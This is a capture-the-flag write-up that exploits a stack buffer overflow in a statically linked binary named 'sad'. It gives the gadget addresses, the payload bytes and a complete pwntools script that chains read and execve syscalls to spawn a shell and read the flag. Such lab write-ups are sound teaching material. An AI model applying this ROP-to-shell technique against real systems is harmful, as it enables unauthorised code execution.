## DescriptionStarting up the program, we can see a simple prompt that takes in a user input and segfaults if it overflows.```bashThis is a really big binary. Hope you have everything you need ;)tttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttt[1]    247339 segmentation fault (core dumped)  ./sad```
Looking at this executable in radare2 we find that there's a buffer of length `0x100` and the return pointer shows up after another 8 bytes of padding. By showing the memory maps (with `:dm`) after runtime, we can see that the stack, where our input goes is not executable:```0x00007ffddf880000 - 0x00007ffddf8a1000 - usr   132K s rw- [stack] [stack] ; map.stack_.rw```
## ExploitationSo instead of writing shellcode (because it can't be executed), we can use a ROP Chain to eventually call `execve` with `"/bin/sh"` and spawn a shell. First though, we need to find the 5 gadgets below to be able to exploit. The address where they are located are also included and are part of the python exploit script.```pyPOP_RDI = p64(0x00481a89) # pop rdi, retPOP_RSI = p64(0x00481fd7) # pop rsi, retPOP_RDX = p64(0x0040177f) # pop rdx, retPOP_RAX = p64(0x0043f8d7) # pop rax, retSYSCALL = p64(0x0040eda4) # syscall, ret```
Now that we have found our gadgets, we need to determine the exact arguments (which use the registers `rdi`, `rsi`, and `rdx`, with the syscall number in `rax`) for `read` and `execve`. The `read` syscall takes in a file descriptor, pointer to a buffer to read into, and a count for the number of bytes to read in. In our case, we use `0` as the file descriptor for `stdin` and the buffer needs to be at some offset (PIE is disabled so this is constant) in writable memory. Let's use `0x4b0310` which can be found by looking at the writable memory maps and finding many null bytes. Before we understand the length, let's take a look at the arguments for `execve`.
`execve` takes a pointer to a pathname, a pointer to an array of `char *` arguments to pass to the program, and a pointer to an array of `char *` environment variables. In our case, the pathname pointer will be `0x4b0310` which is where we will write `/bin/sh` and the arguments will be read in by the `read` right after the `/bin/sh` so we will use `0x4b0318`. These arguments need to be pointers to strings and, as we know, `argv[0]` is the program name so for simplicity we can have it point back to the `"/bin/sh"`. We end off with a null pointer to signify the end of the array. Finally, the environment variables can just be a null pointer for an empty array. Below is the full payload which `read` will read in as Python bytes:```pyb'/bin/sh\x00\x10\x03\x4b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
# pathname: /bin/sh\x00# argv[0]: \x10\x03\x4b\x00\x00\x00\x00\x00# argv end: \x00\x00\x00\x00\x00\x00\x00\x00```
Jumping back to our `read` call, this gives us a final length of `24` and a final ROP Chain exploit which looks as follows:```py
from pwn import *import sys
p = process("./sad")# p = remote('jh2i.com', 50002)
POP_RDI = p64(0x00481a89) # pop rdi, retPOP_RSI = p64(0x00481fd7) # pop rsi, retPOP_RDX = p64(0x0040177f) # pop rdx, retPOP_RAX = p64(0x0043f8d7) # pop rax, retSYSCALL = p64(0x0040eda4) # syscall, ret
WRITE_OFFSET = 0x4b0310WRITE = b"/bin/sh\x00" + p64(WRITE_OFFSET) + p64(0)
ROP_CHAIN = b"A" * (256 + 8)\  + POP_RDI                 \  + p64(0)                  \  + POP_RSI                 \  + p64(WRITE_OFFSET)       \  + POP_RDX                 \  + p64(len(WRITE))         \  + POP_RAX                 \  + p64(0)                  \  + SYSCALL                 \  + POP_RDI                 \  + p64(WRITE_OFFSET)       \  + POP_RSI                 \  + p64(WRITE_OFFSET + len(b"/bin/sh\x00")) \  + POP_RDX                 \  + p64(0)                  \  + POP_RAX                 \  + p64(59)                 \  + SYSCALL                 \
p.sendline(ROP_CHAIN)p.sendline(WRITE)p.interactive()```Every gadget will pop the pointer after it, so the first two lines of the `ROP_CHAIN` will place `0x0000000000000000` into `rdi`, `0x4b0310` (`WRITE_OFFSET`) into `rdx` and so on. The `0` and `59` used for `rax` are the system call numbers for `read` and `execve`.
And bam, we get a shell and the flag.```sh$ lsflag.txtsad$ cat flag.txtflag{radically_statically_roppingly_vulnerable}```